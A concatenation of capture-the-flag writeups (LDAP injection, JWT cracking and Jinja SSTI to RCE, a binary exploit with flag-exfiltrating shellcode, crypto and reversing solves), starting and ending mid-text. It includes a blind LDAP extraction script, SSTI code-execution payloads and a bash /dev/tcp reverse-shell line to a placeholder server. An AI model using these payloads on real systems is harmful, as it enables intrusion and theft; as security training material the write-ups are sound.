gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
# Photoshoot Writeup ## Service Description Simple Flask web service with following routes:```GET /POST /loadPOST /storePOST /upload``` `load` and `store` are used to store and retrieve a flag from database. `upload`accepts parameters `file`, `operations` and, optionally, `year`, which arepassed to `imager` binary. JS code in `notsuspicious.js` was obfuscated but it was not necessary tounderstand it. ## Imager ```$ file imagerimager: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), <SKIPPED>, not stripped``` ### Description Imager is written in C++, which can be seen from function names. Its purpose itto load image file, apply selected filters on it and save result to disk. Aftera bit of research we can notice that image should be in Netpbm format, supportedmodes (magics) are P1, P5 and P6. Following filters are supported, with their IDs: ```0: NOP1: Blur2: Downsample3: Lineblur4: Watermark5: Emboss6: TV ``` ### Research Command line looks like `./imager <--config 888> 3 0 1 2 in out`, where configis optional and provides the "year" parameter used in Blur filter. `3` is lengthof filter list, which follows right after. `in` and `out` are input and outputfiles. After parsing command line, `Task` structure is filled. It is not saved in debuginfo, so you need to reverse engineer its layout: ``` cppstruct Task{ uint64_t filter_ids[3]; // filter IDs array uint64_t filter_num; // number of filters to apply int64_t (*filter_handlers[3])(uint8_t*); // array of pointers to filter functions uint8_t *data; // image data};``` First bug can be found here: `Task` structure clearly can only hold up to 3filters, but the code checks that passed filter list length is no more than 4.It introduces off-by-one error. After successful command line parsing `handleHeader` function is called. Itparses `in` image and fills the `Task::data` member. Image size should beexactly 200x200. Interesting moment to note here is that `data` is mmapped asRWX. Other than that, nothing wrong occurs here, and AFL did not find anythinginteresting. Next goes the filter applying stage, `doIt` function. It loops through filterhandlers and applies them to `data`, and it does it in rather peculiar way. Thecode is best explained by itself so here it is: ``` cpp if ( task->filter_num <= 4uLL ) { filter_ptr = task->filter_handlers; successes = 0; max_iterations = 8; while ( (unsigned __int64)successes < task->filter_num && max_iterations > 0 ) { --max_iterations; res = 1; if ( *filter_ptr ) res = (*filter_ptr)(task->data); if ( res ) ++successes; ++filter_ptr; } }``` First of all, we see `filter_num <= 4` comparison again, when it should be `<4`.Next, note the `successes < task->filter_num` comparison. If filter returns 0,`successes` won't be incremented and eventually `filter_ptr` will go past theend of `filter_handlers` array. What goes right after `filter_handlers`? `data`pointer, which is mmapped as RWX! From this point exploitation path is clear: all we need to do is to get`filter_ptr` to point to `data` field. It can be achieved in two ways: playingwith `filter_num` field on command line parsing stage, or returning 0 from afilter somehow. We will proceed with the latter approach. ### Filters Only two filters are interesting in some ways, out of seven provided: Blur andWatermark. "Interesting" means that they have sufficiently complex logic inthem. For our purposes, returning 0 from a filter, only Blur is interesting,since Watermark explicitly sets result to 1 before returning. #### Blur In Blur we have a structure on the stack. Its name is demangled as`blur(unsigned char *)::{unnamed type#1}::blur` by IDA, let's call it `blur`.Its layout, obtained after reverse engineering the whole Blur function: ``` cppstruct Blur{ int i; int near_it; int off; int X; int Y; int offX; int offY; int off_px; int mean; uint32_t size; uint8_t *buf; // from malloc, data is copied to buf uint8_t near_px[20]; char result;};``` Blur uses the `--config` option value, which defaults to 20. It is used by`getBlurSize` function in following SQL query: `SELECT value FROM config%d WHERE key = 'blursize'`.There are only two such tables, `config20` and `config21`, and the values inthem are `2` and `3` respectively, which can be seen in `db.sql` file. The size means how much adjacent pixel layers Blur filter should use for anindividual pixel. In other words, 2 means matrix 3x3, and 3 means matrix 5x5. Blur code was definitely implemented first for blur size 2 only. After that, aweak effort was made to support arbitrary blur sizes, but it was not enough.First of all, it seems, that you can access `buf` at negative offsets, althoughit is not profitable for exploitation. What is really useful for us is the`near_px` array. All adjacent pixel values are copied there, so 9 in case ofsize 2, and 25 in case of size 3. Since array size is only 20, running with blursize 3 will overwrite the `result` field, which is set in the beginning offunction and is not modified afterwards. We need to set it to 1 if we want toreturn 0 from Blur. It can be achieved by getting blur size 3 and setting lastfew picture rows to 0x01. ## Exploitation The plan is:* Pass 21 to `--config`* Pass `3 0 0 1` or something similar to filter list* Return 0 from Blur* that's all ### Passing 21 We can note that value `21` is explicitly prohibited in `app.py`. We can alsonote that this parameter is parsed by Imager using `strtol(..., 0);` which givesus a lot of ways to bypass the check and get 21 in Imager as result: `025`,`0x21`, `4294967317`, ... ### Return 0 from Blur As said before, just set last few pixel rows to 0x01. ### RCE! Well, we jump to `data` now, but it is a bit "corrupted" after Blur, and by "a bit" I mean "a lot". What we need to create is such picture that will producethe desired shellcode at offset 0 after Blur. First detail to note is that Blur does not process the outermost layer ofpixels, so they have values 0 after Blur. It means that right after calling`data` we jump to a row of 200 zeroes, which thankfully form 100 harmlessinstructions `add BYTE PTR [rax], al` Another detail is that blur result is as if it was performed in 3x3 mode, evenif we pass `--config` 21. ### "Blur-resistant" shellcode After a lot of trial and error we came to two-stage shellcode architecture. First stage has following properties:* It is easy to find an image that will produce this shellcode after Blur.* All this stage does is writing second stage somewhere and jumping to it. This shellcode can be split in 3 steps:* Initializing* Writing second stage* Jumping to it To get images from shellcode (perform reverse-Blur process) we used z3. To explain a bit more why this task is not trivial: let's look what happensduring Blur. ```a b c d A B C Dl m n o -> L M N Ow x y z W X Y Z M = ((a+l+w) + (b+m+x) + (c+n+y) ) / 9N = ( (b+m+x) + (c+n+y) + (d+o+z)) / 9``` As you can see, N "shares" most of its value with M. N "depends on" M, and somecombinations of N and M are not possible because no initial a,b,c,... valuesexist for them. Another thing to conclude here is that N value should be "near"M, i.e., M=0 N=0x80 situation is not possible, as well as M=0 N=0xFF (nowrapping). To ease shellcode generation, we jump 3 rows forward in the end of each row. Inour example, it means that a,b,c,d,w,x,y,z will be used only in L,M,N,Oshellcode bytes calculation, and not any other ones that are on other rows.First row with actual shellcode is 1, from it we jump to 4, 7, etc. Another approach to ease shellcode generation is to find ways to break the chainof dependencies in byte values. It can be done by inserting harmlessinstructions which have bytes which we can set to arbitrary values. For example,since we do not use conditional instructions, `cmp eax, 1234` is a greatcandidate, because it is encoded with one byte 0x3D after which go 4 bytes ofimmediate operand. We can set immediate to any value. Image generating code from second stage shellcode: "gen_image.py" ### Payload After getting arbitrary code execution we need to exfiltrate opponents' flags.The vulnerable binary is executed by Python web app, so we don't get anyinteractivity and the way to go is to drop some flags into the output file thatthe web app will later serve to us. For this purpose, we coded a shellcode that does requests to Postgres DB usingthe functions already present in the binary itself. The flow of the shellcode isas follows: 1. Use return address into `doIt` on the stack to determine binary ASLR base2. Extract output filename from arguments in `main` stack frame3. Call `queryString` function inside the binary with an argument of `select value from comments where value like 'FAUST_%' order by date desc offset 0 limit 1;`4. Write the result into the output file5. Patch the SQL query to now say `offset 1 limit 1`, execute and write again, repeat 5 times.6. `exit(0)` to prevent Python throwing an exception Full shellcode: "sqlshc" files. ### Exploit Can be found in "photoshoot_vientvos_sploit.php". [https://bushwhackers.ru/files/faust2020_photoshoot_writeup.7z](https://bushwhackers.ru/files/faust2020_photoshoot_writeup.7z)
# Fossil We're given a file [fossil](fossil/fossil) What happens is that the flag is base64 encoded, and then each byte is xored with the next one and then converted to hex.```Pythone = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1c = h(bytearray(z))``` The ciphertext is `c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067'`Let's hex decode it. and covnert it to a list we get```c = [55, 21, 16, 50, 105, 71, 68, 85, 61, 18, 34, 10, 15, 88, 67, 21, 81, 116, 119, 82, 14, 43, 60, 34, 107, 91, 30, 21, 15, 85, 73, 18, 14, 85, 64, 35, 2, 2, 54, 15, 13, 32, 34, 10, 55, 108, 0, 103]```We know the length of our base64 encoded text which is `48`We notice that `c[-2]` is `0`, that means `e[46]^e[47] = 0` which means `e[46] = e[47] `those are the 2 last chars, they are very likely to be `==` from the padding. We have `c[-1] = 103` so `e[47] ^ e[0] = 103` then `e[0]=e[47]^103` we have `e[47]= b'='` after converting it to int we can recover `e[0]` `e[0]=90` Now that we hae e[0] we can recover the flag with this simple script.```Pythonfrom base64 import b64decodef=[0]*48for i in range(48): f[i] = f[i-1] ^ c[i-1]b64decode(''.join(chr(x) for x in f).encode())``` ## flagflag{tyrannosauras_xor_in_reverse}
# Rev: ArchRide ## First look We are provided a file ``surprise`` which we notice, after running ``xxd -l 100 surprise``, starts with the header ``42 5a 68 39``. This is recognizable as a BZip2 zipped file. After unzipping it, we are left with an x86-64 ELF file. We throw this into our decompiler of choice and find that it performs a few actions: - Reads a 14-letter key- Checks the XOR of various sets of 3 letters with some data embedded in the program- If all this is satisfied, it overwrites the file ``surprise`` with a section of data in the program XORed with the key, repeating every 13 letters ## Solving first layer It is clear that we need to find a printable key that satisfied the XOR checks in the program. To do this, we can manually extract the 28 XOR check results and the indices of letters that get XORed, or parse this by using a package such as ``r2pipe``. We then simply feed these constraints into a solver such as ``z3``. Upon analyzing the constraints we can see that, for any given first character of the key, there only exists at most one solution. We loop over all printable first characters and look for keys satisying all conditions. The following code is a rough idea of what is needed: ```from z3 import * inds = [[0, 4, 2],[2, 4, 6],[4, 6, 8],[6, 8, 10],[8, 10, 12],[10, 12, 1],[12, 1, 3],[1, 3, 5],[3, 5, 7],[5, 7, 9],[7, 9, 11],[9, 11, 13],[0, 11, 13],[0, 13, 2],[0, 1, 2],[1, 2, 3],[2, 3, 4],[3, 4, 5],[4, 5, 6],[5, 6, 7],[6, 7, 8],[7, 8, 9],[8, 9, 10],[9, 10, 11],[10, 11, 12],[11, 12, 13],[0, 12, 13],[0, 13, 1]]sol = Solver()key = [BitVec(str(i), 8) for i in range(14)]keyr = []dat = [] # insert check bytes herefor i in range(len(inds)): ind = inds[i] sol.add(key[ind[0]] ^ key[ind[1]] ^ key[ind[2]] == dat[i])for i in range(30, 128): sol.push() sol.add(key[0] == i) if sol.check() == sat: keyr = [sol.model()[key[i]].as_long() for i in range(14)] sol.pop()``` This gives us a key of ``JCE1aWJApiDO5K``. Running the program and inputting this indicates success, and upon further investigation we see the file ``surprise`` has changed. Decompressing again, we find that this time the file is an x86 ELF. Continuing this process eventually leads us to discover that it repeats over and over again with different ELF architectures, including ``x86-64``, ``x86``, ``ARM32``, ``ARM64`` and ``PowerPC``. ## Automating layer solves First off, we tried writing different disassembly parsers for all architectures, but soon realised that this is more effort than it is worth, and that for each architecture, the XOR check addresses and data start address are distinct. Just hardcoding these addresses is sufficient to extract the next layer from any ELF. It is worth noting that the endianness is also different for ``PowerPC``. We use these addresses to read the relevant checks from the ELF, then generate the key and XOR it with the data starting at the correct address. It is also worth noting that the ending doesn't matter, as the BZip2 stream includes a terminator. Decompressing this and saving allows us to repeat until we reach the final executable. Code is as follows (supply with the first executable as ``temp``) ```import r2pipefrom bz2 import decompressfrom z3 import *from subprocess import check_outputimport sys while True: inds = [[0, 4, 2],[2, 4, 6],[4, 6, 8],[6, 8, 10],[8, 10, 12],[10, 12, 1],[12, 1, 3],[1, 3, 5],[3, 5, 7],[5, 7, 9],[7, 9, 11],[9, 11, 13],[0, 11, 13],[0, 13, 2],[0, 1, 2],[1, 2, 3],[2, 3, 4],[3, 4, 5],[4, 5, 6],[5, 6, 7],[6, 7, 8],[7, 8, 9],[8, 9, 10],[9, 10, 11],[10, 11, 12],[11, 12, 13],[0, 12, 13],[0, 13, 1]] sol = Solver() key = [BitVec(str(i), 8) for i in range(14)] dat = [] ver = check_output(["file", "temp"]).decode().split(", ")[1].split(", ")[0] r2 = r2pipe.open("temp") endian = "little" if ver == "x86-64": dat = [hex(0x202020), hex(0x202060)] start = 0x20a0 elif ver == "Intel 80386": dat = [hex(0x3020), hex(0x3060)] start = 0x20a0 elif ver == "ARM aarch64": dat = [hex(0x12010), hex(0x12048)] start = 0x2080 elif ver == "ARM": dat = [hex(0x11008), hex(0x11040)] start = 0x01078 elif ver == "64-bit PowerPC or cisco 7500": dat = [hex(0x10020130), hex(0x10020168)] start = 0x101a0 endian = "big" dat = [eval(r2.cmd("pf [14]d @" + addr).split(" = ")[1]) for addr in dat] dat = dat[0] + dat[1] if dat[0] > 255: print(check_output(["./temp"]).decode()) sys.exit(0) keyr = [] for i in range(len(inds)): ind = inds[i] sol.add(key[ind[0]] ^ key[ind[1]] ^ key[ind[2]] == dat[i]) for i in range(30, 128): sol.push() sol.add(key[0] == i) if sol.check() == sat: keyr = [sol.model()[key[i]].as_long() for i in range(14)] sol.pop() fdat = open("temp", "rb").read()[start:] fdat = [(int.from_bytes(fdat[i*8:(i+1)*8], endian) ^ keyr[i%13]) & 0xff for i in range(0, len(fdat)//8)] try: fdat = decompress(bytes(fdat)) out = open("temp", "wb") out.write(fdat) out.close() except: out = open("temp", "wb") out.write(bytes(fdat)) out.close()``` # Final layer Executing the final ELF gives us the flag, ``inctf{x32_x64_ARM_MAC_powerPC_4rch_maz3_6745}``
# Template Shack Author: [roerohan](https://github.com/roerohan) # Requirements - JWT- John The Ripper # Source ```Check out the coolest web templates online! Connect here:http://jh2i.com:50023``` # Exploitation When you visit the website, you find that there's a cookie containing a JWT. It's hashed using `HS256`. We used `rockyou.txt` to bruteforce the JWT secret, using John The Ripper. ```$ john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256``` The secret is `supersecret`. Using this, you can make a JWT with `username: admin`. ```eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H-_2q-Vo32g4mLpkEcajK0H7I``` Now, add this to your cookie. You are logged in as admin. Visit some random route starting with `/admin/` which throws a 404. You can see there's scope for template injection in the 404 page. ```http://jh2i.com:50023/template/admin/%7B%7B().__class__.__bases__[0].__subclasses__()%7D%7D``` You can climb up the Python MRO using the `__class__` and `__bases__`, etc. This way you can find a list of all the classes you can use. On index 405, you see `subprocess.Popen`. ```http://jh2i.com:50023/template/admin/%7B%7B().__class__.__bases__[0].__subclasses__()[405]%7D%7D``` This shows `/template/admin/<class 'subprocess.Popen'>` on the website. Now, you can use this to spawn a reverse shell. ```http://jh2i.com:50023/template/admin/%7B%7B().__class__.__bases__[0].__subclasses__()[405](['bash -c %22bash -i %3E& /dev/tcp/yourserverip/yourport 0%3E&1%22'], shell=True)%7D%7D``` > Note: Replace yourserverip and yourport. Start a `netcat` listener on your server at the specified port. You get a shell! ```$ nc -lp 8000bash: cannot set terminal process group (8): Inappropriate ioctl for devicebash: no job control in this shelluser@272108e56147:~$ lslsflag.txtmain.pyposts.pyrequirements.txttemplatesuser@272108e56147:~$ cat flag.txtcat flag.txtflag{easy_jinja_SSTI_RCE}``` The flag is: ```flag{easy_jinja_SSTI_RCE}```
## Solution 1. Get all the values of the data.data fields [data] 2. Leave only those that cannot be converted to ascii text \[nonascii_bytes\] 3. Leave only unique lines, keeping the order \[unique_nonascii_bytes\] 4. Remove values that are the beginning or end of adjacent \[definitely_unique_nonascii_bytes\] 5. Remove the first value \[jpg_bytes\] and write to flag.jpg Flag is [here](https://github.com/wetox-team/writeup/tree/master/cybrics_2020/gcloud/flag.jpg)
# Inctfi 2020 Writeups - Crypto - [PolyRSA](#polyrsa) - [DLPoly](#dlpoly) - [bakflip&sons](#bakflip) - [EaCy](#Eacy) --- # PolyRSA Challenge Writeup [Crypto] For this challenge we were given a single file [out.txt](/Inctfi-2020/PolyRSA/out.txt) which contains commands used in sage interactive shell and there output. In the `out.txt` file we have, three values - p = 2470567871 (a prime number)- n = ... (a 255 degree polynomial)- c = m ^ 65537 (also a polynomial) These parameters constitute the `RSA` Encryption but instead of `Group` of numbers modulo `n`, thisuses `univariate polynomials over the finite field Zp`.Use the following resource to understand about this [Polynomial based RSA](http://www.diva-portal.se/smash/get/diva2:823505/FULLTEXT01.pdf) As in integer group, we have to find the `multiplicative` order of the group formed by `residue polynomials` of given `n`. Above resource specifies the formula in page 14 as `s = (p**d1 - 1) * (p**d2 - 1)` where d1 and d2 are the degrees of irreducible polynomials constituing the given `modulus(n)`. After obtaining `s` (multiplicative order), finding the inverse of `e = 65537` and raising the `ct` polynomial to the inverse gives the `message` polynomial. Converting the coefficients of `message` polynomial gives us the `flag`. ```pythonq1, q2 = n.factor()q1, q2 = q1[0], q2[0]s = (p**q1.degree() - 1) * (p**q2.degree() - 1)assert gcd(e, s) == 1d = inverse_mod(e, s)m = pow(c, d, n)flag = bytes(m.coefficients()) ```solution code :: [solve.sage](/Inctfi-2020/PolyRSA/solve.sage) Flag :: inctf{and_i_4m_ir0n_m4n} --- # DLPoly challenge writeup [Crypto] Got second blood for this challenge.This challenge is similar to above challenge. we were given [out.txt](/Inctfi-2020/DLPoly/out.txt) file which contains the commands and output in sage interactive shell. In the `out.txt` file we have,- p = 35201- n (a 256 degree polynomial with coefficients in Zmod(p))- len(flag) = 14- g = x (a 1 degree polynomial)- X = int.from_bytes(flag.strip(b'inctf{').strip(b'}') , 'big')- g ^ X In order to get the `flag`, we have to solve the `discrete logarithm` in the `group`of `residues(polynomial)` modulo `n` with coefficients in `Zmod(p)`(Zp[x]). Use the resource mentioned in [PolyRSA](#polyrsa) writeup for a better understanding. factoring `n` and finding the `order` ```pythonnfactors = n.factor()s = 1for i in nfactors: s *= p**(i[0].degree()) - 1```factoring the `order(s)` shows that `s` has many small factors.```python 2^208 * 3^27 * 5^77 * 7^2 * 11^26 * 13 * 31^25 * 41^25 * 241 * 271 * 1291^25 * 5867^26 * 6781^25 * 18973 * 648391 * 62904731^25 * 595306331^25 * 1131568001^25``` As the `order` contains `small factors`, we can use `pohlig hellman algorithm` to find `discrete logarithm`. we have to select the `factors` carefully as raising `base element (g)` to many of the factors gives the `identity element (1)` which we cannot use. So, taking the following factors```python[7^2, 13, 241, 271, 18973, 648391] ```we can calculate the value of `flag(X)` modulo `prod([7^2, 13, 241, 271, 18973, 648391])` using `CRT`.Value obtained is the correct value of the `flag` as the `X` is less than `2**(7*8)` i.e `X` is 7 bytes long. quick and ugly implementation of pohlig hellman ::```pythondef brute_dlp(gi, ci, n, lim): bi = gi for i in range(1, lim+1): if bi == ci: return i bi = (bi * gi) % n print("[-] NOT in the range") print("[-] Something's Wrong, you gotta check the range", lim) def pohlig_hellman(g, c, s, n, factors): res = [] modulus = [] for q, e in factors: assert pow(g, s//(q**e), n) != 1 gi = pow(g, s//(q**e), n) ci = pow(c, s//(q**e), n) dlogi = brute_dlp(gi, ci, n, q**e) print("[+] dlog modulo {0} == {1}".format(q**e, dlogi)) res.append(dlogi) modulus.append(q**e) print("\n[*] res = ", res) print("[*] modulus = ", modulus) dlog = CRT(res, modulus) print("\n[+] dlog modulo {0} == {1}".format(prod(modulus), dlog)) return dlog``` solution code :: [solve.sage](Inctfi-2020/DLPoly/solve.sage) Flag :: inctf{bingo!} --- # Bakflip&sons challenge Writeup [Crypto] This challenge runs the [challenge.py](/Inctfi-2020/Bakflip_n_sons/challenge.py) on the server. It provides two functionalities `signMessage` and `getFlag`.`signMessage` signs the given message using then`ecdsa` with `NIST198p` elliptic curve.`getFlag` gives us the `flag` if we can provide the `ecdsa signature` of message `please_give_me_the_flag`. ```pythondef signMessage(): print(""" Sign Message Service - courtsy of bakflip&sons """) message = input("Enter a message to sign: ").encode() if message == b'please_give_me_the_flag': print("\n\t:Coughs: This ain't that easy as Verifier1") sys.exit() secret_mask = int(input("Now insert a really stupid value here: ")) secret = secret_multiplier ^ secret_mask signingKey = SigningKey.from_secret_exponent(secret) signature = signingKey.sign(message) print("Signature: ", hexlify(signature).decode()) def getFlag(): print(""" BeetleBountyProgram - by bakflip&sons Wanted! Patched or Alive- $200,000 Submit a valid signature for 'please_give_me_the_flag' and claim the flag """) signingKey = SigningKey.from_secret_exponent(secret_multiplier) verifyingKey = signingKey.verifying_key try: signature = unhexlify(input("Forged Signature: ")) if verifyingKey.verify(signature, b'please_give_me_the_flag'): print(flag) except: print("Phew! that was close")``` As we can see in the `signMessage` function declaration, it doesn't allow us to obtain `signature` of our `target message`. At the start of execution, `challenge.py` generates `secret key` with `101 bit_length````pythonsecret_multiplier = random.getrandbits(101)```In order to forge the signature, we have to calculate the `secret key`, we won't be able to solve the`ecdlp` but we can use the `additional secret mask` requested in `signMessage` function.```pythonsecret_mask = int(input("Now insert a really stupid value here: "))secret = secret_multiplier ^ secret_mask```so, we can modify the `secret key` used for `signing`.we can use this to completely obtain the `secret key` in a few iterations.```Let G be the generators1 is the secret_keys2 is the secret_key ^ mask (^ --> xor operation)P = s1 * GQ = s2 * Gsuppose if the mask is `1` s2 = s1 ^ 1 , (xor with 1 flips the lsb) if lsb of s1 is 0 then s2 = s1 + 1 => Q = s2 * G = (s1 + 1) * G = P + G else if lsb of s1 is 1 then s2 = s1 - 1 => Q = s2 * G = (s1 - 1) * G = P - G Given the points P, Q we can obtain the lsb of secret_key s1by checking if Q == P + G then lsb of secret key is 0 else Q == P - G then lsb of secret key is 1 similarly we can set the nth(lsb is 0 bit) lower bit in the mask i.e mask = (1 << n)flipping the nth lower bit, decreases or increases the secret_key(s1) by 2**n based on whether nth bit in secret_key is set or notso, checking if Q == P + (2**n) * G or Q == P - (2**n) * G gives the nth bit``` Using the above method recursively gives the complete `secret key` and we can use that to forge the required `signature`. There are small hurdles in the challenge1. Only `signature` is given, we have to calculate the `Public Key (P)`.2. We have only `73` iterations, we have to calculate the `101 bit key` using less than `72` iterations. For the first problem, we can use the `signature (r,s)` to obtain the `Public Key`, two valid `Public Keys` are possible for a given `signature` pair `(r, s)`. we have to use other `Public Keys` to identify the correct key. For the second problem, we can extend the same theory for any number of bits with bruteforceable number of cases.example of `2 bits`.```pythonsecret_key_lsb =>00 --> Q = P + 3*G01 --> Q = P + G10 --> Q = P - G11 --> Q = P - 3*G```Using the above approach with `2 bits`, we can calculate secret_key using less than `72` iterations and get the `flag`. There are a lot of small implementation details, check out my solution code :: [solve.sage](/Inctfi-2020/Bakflip_n_sons/solve.sage) FLAG :: inctf{i_see_bitflip_i_see_family} --- # EaCy challenge writeup [Crypto] Luckily I got First Blood for this challenge. we were given four files1. [ecc.py](/Inctfi-2020/EaCy/ecc.py) contains classes to work with elliptic curves2. [ansi931.py](/Inctfi-2020/EaCy/ansi931.py) contains classes to generate random data using ANSI X9.31 with AES 1283. [prng.py](/Inctfi-2020/EaCy/prng.py) contains implementation of dual_ec_drbg random generator along with prng using ANSI X9.314. [encrypt.py](/Inctfi-2020/EaCy/encrypt.py) The basic flow of service is as follows- Generates a `random number` e using the `prng` defined in `prng.py`.- Asks to choose between `[1] Asynchronous SchnorrID` and `[2] Synchronous SchnorrID`. - Asks the user for two Points `Q`, `R`.- Gives the value of `e` to the user if 1 is selected (Asynchronous SchnorrID)- User has to provide value of `s` such that `s*P == e*Q + R`, P is an hard coded point- if the above condition fails then it closes the connection- if we can provide the correct `s` without the `e` value i.e in `Synchronous SchnorrID`, we can request the flag service repeats the above process for 10 times. if we have `e` value, we can pass the condition by sending point `P` for both `Q` and `R` values and `(e + 1)` value.```s*P = (e + 1) * P = e*P + P = e*Q + R```so, if we know the value of `e` we can easily pass the condition, in order to get the flag we have tocalculate the `s` value without taking `e` from the service. Only way is to crack the `prng` used```python def prng_reseed(self): self.prng_temporary = long_to_bytes(self.ecprng_obj.ec_generate()) assert len(self.prng_temporary) == 32 self.prng_seed = self.prng_temporary[:8] prng.prng_output_index = 8 self.prng_key = self.prng_temporary[8:] prng.prng_output_index = 32 return bytes_to_long(self.prng_temporary) def prng_generate(self): _time = time.time() prng.prng_output_index = 0 if not self.one_state_rng: print("prng_reseed ", self.prng_reseed()) ansi_obj = ANSI(self.prng_seed + self.prng_key + long_to_bytes(_time).rjust(16, "\x00")) while prng.prng_output_index <= 0x1f: self.prng_temporary += ANSI.get(8) prng.prng_output_index += 8 print("prng generate = ", bytes_to_long(self.prng_temporary)) return bytes_to_long(self.prng_temporary)```At the first glance, it may seem like the `prng` is using `ANSI` class to generate `random data` but in the settings used by the challenge, `prng` directly gives the `random_data` generated by 